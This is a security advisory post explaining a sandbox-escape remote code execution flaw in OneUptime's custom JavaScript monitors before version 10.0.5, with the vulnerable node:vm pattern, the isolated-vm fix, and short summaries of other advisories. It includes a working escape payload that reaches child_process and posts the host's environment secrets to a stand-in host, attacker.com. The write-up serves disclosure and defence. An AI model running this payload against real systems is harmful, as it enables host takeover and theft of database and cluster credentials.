Feb 24, 2026·5 min read·81 visits
Critical RCE in OneUptime < 10.0.5 allows attackers to escape the 'node:vm' sandbox via custom monitors. Exploitation grants full root access and credential theft.
OneUptime, a popular open-source observability platform, suffered from a catastrophic Remote Code Execution (RCE) vulnerability due to a classic misunderstanding of Node.js internals. By allowing users to create custom JavaScript monitors executed via the built-in `node:vm` module, the application inadvertently provided a bridge for attackers to escape the sandbox and execute arbitrary commands on the host. With a CVSS score of 10.0, this flaw allows unauthenticated attackers (via open registration) to fully compromise the underlying infrastructure, stealing database credentials and cluster secrets in seconds.
In the world of DevOps, observability tools are the crown jewels. They have access to everything: database metrics, server health, logs, and often, by necessity, the network keys to the kingdom. OneUptime is one such tool—a status page and monitoring solution that promises to keep your services online. But irony has a cruel sense of humor.
The feature in question is "Synthetic Monitoring" or "Custom JavaScript Monitors." It’s a feature developers love: "Just let me write a quick script to check if my API returns the right JSON." To support this, OneUptime allowed users to input raw JavaScript, which the backend would then execute to perform the check.
Here’s the problem: Running untrusted code on your server is like handing a loaded gun to a stranger and asking them to hold it for a second. If you don't have a bulletproof vest (a real sandbox), you're going to have a bad time. OneUptime brought a cardboard box to a gunfight.
The root cause of this vulnerability is a tale as old as Node.js itself: the misuse of the node:vm module. Many developers see "vm" and think "Virtual Machine"—images of Docker containers or KVMs dance in their heads. They assume it's a security boundary.
It is not.
The Node.js documentation actually includes a giant red warning box that essentially says: "Do not use this to execute untrusted code." The node:vm module creates a new context for code to run in, but it runs in the same process as the main application. Crucially, it shares the same memory space.
In JavaScript, if you can access an object, you can usually access its prototype. If you can access the prototype, you can walk up the chain to the constructor. If you get to the Function constructor, you can generate new functions outside the sandbox. It is less of a prison and more of a gentle suggestion to stay inside.
Let's look at the vulnerable pattern. The application was taking user input strings and passing them directly into vm.runInNewContext or similar derivatives. The code looked something like this:
// The Vulnerable Pattern
const vm = require('node:vm');
const userScript = "/* user input */";
// "Sandboxing" by limiting global variables
const sandbox = {
axios: require('axios'),
console: console
};
// EXECUTE
vm.createContext(sandbox);
const result = vm.runInContext(userScript, sandbox);The fix, implemented in version 10.0.5, was a complete engine swap. The developers ripped out node:vm and replaced it with isolated-vm.
isolated-vm allows you to create V8 Isolates. These are distinct instances of the V8 engine with their own heap and stack. They don't share objects; they serialize data passed between them. It is a true heavy-duty boundary.
Here is the essence of the patch (Commit 7f9ed4d43945574702a26b7c206e38cc344fe427):
// The Fix: Using isolated-vm
import ivm from 'isolated-vm';
const isolate = new ivm.Isolate({ memoryLimit: 128 });
const context = isolate.createContextSync();
const jail = context.global;
// Sets the global object to be strictly dereferenced
jail.setSync('global', jail.derefInto());
// Execute user code in a separate V8 instance
const script = isolate.compileScriptSync(userCode);
script.runSync(context);This change turns a trivial escape into a nearly impossible one (barring zero-days in V8 itself).
So, how do we weaponize the unpatched version? The goal is to reach the host's process object. Once we have process, we can require('child_process') and execute shell commands.
The attack vector is simple:
// The Magic Spell
const process = this.constructor.constructor('return process')();
const require = this.constructor.constructor('return require')();
const cp = require('child_process');
// Proof of Concept: Exfiltrate env vars
const secrets = JSON.stringify(process.env);
cp.execSync('curl -X POST -d "' + btoa(secrets) + '" http://attacker.com/loot');How it works:
this refers to the context object. this.constructor is the Object constructor. this.constructor.constructor is the Function constructor. By calling it with 'return process', we create a function executing outside the sandbox that returns the global Node.js process object. Game over.
Why is this a 10.0 CVSS? Because the OneUptime probe doesn't just run empty. It runs with environment variables populated with the keys to your kingdom.
Upon a successful escape, an attacker immediately gains access to:
ONEUPTIME_SECRET: The master key for the application.DATABASE_PASSWORD: Direct access to the Postgres database.REDIS_PASSWORD: Access to the cache/queue.CLICKHOUSE_PASSWORD: Access to the analytics store.Furthermore, because these probes often run inside Kubernetes clusters with service account tokens mounted, an attacker can use the shell access to pivot effectively, deploying ransomware or crypto-miners to the entire cluster. The time from "account registration" to "root shell" is approximately 30 seconds.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
OneUptime Hackerbay | < 10.0.5 | 10.0.5 |
| Attribute | Detail |
|---|---|
| CVSS Score | 10.0 (Critical) |
| CWE ID | CWE-94 (Code Injection) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| Impact | Remote Code Execution (RCE) |
| Attack Vector | Network (Authenticated via Registration) |
| Exploit Status | Functional PoC Available |
Guzzle HTTP Client prior to version 7.12.3 contains a logical flaw in its CookieJar component. The client fails to properly validate the host types of stored cookie domain attributes before applying standard suffix-matching logic. As a consequence, sensitive session cookies scoped to an IP address (e.g., 192.168.0.1) can be leaked to malicious, look-alike hostnames (e.g., evil.192.168.0.1). This vulnerability permits cross-host cookie disclosure, cookie injection, and session fixation attacks.
CVE-2026-13149 is a highly severe algorithmic complexity vulnerability in the brace-expansion Node.js library prior to version 5.0.7. When parsing consecutive non-expanding brace groups, the library exhibits exponential-time complexity, leading to process-level Denial of Service in single-threaded runtimes.
CVE-2026-59948 is a high-severity path traversal and arbitrary file write vulnerability in the Composer dependency manager for PHP. When resolving package dependencies from custom, untrusted repositories, vulnerable versions fail to validate critical metadata like package names, source/dist URLs, and binary paths. An attacker who controls a third-party repository can serve a malicious package structure that escapes the 'vendor/' folder, enabling arbitrary file creation, option injection in VCS commands, and potential local execution.
A denial of service vulnerability in Tornado versions 6.5.2 and below arises from excessive iteration in its parameter parser. The `_parseparam` function in `httputil.py` parses parameters in HTTP headers using an inefficient nested loop that counts double quotes from index zero. This implementation exposes a quadratic $O(n^2)$ complexity curve when processing quoted headers containing a high volume of semicolons, leading to CPU exhaustion and blocking the asynchronous event loop.
An uncontrolled recursion vulnerability (CWE-674) in the Axios HTTP library allows remote attackers to cause a Denial of Service (DoS) by submitting form-data with deeply nested property keys. When Axios converts this form-data to JSON, it recursively traverses the path segments without establishing a maximum depth limit, resulting in a maximum call stack size exhaustion and a hard process crash in Node.js environments.
CVE-2026-47296 is a high-severity local Elevation of Privilege (EoP) vulnerability in Microsoft SQL Server. The issue stems from the improper neutralization of special elements within internal database routines, allowing a low-privileged authenticated user to execute arbitrary database queries with the privileges of the database owner or system administrator. Microsoft has addressed this vulnerability in its July 2026 security updates.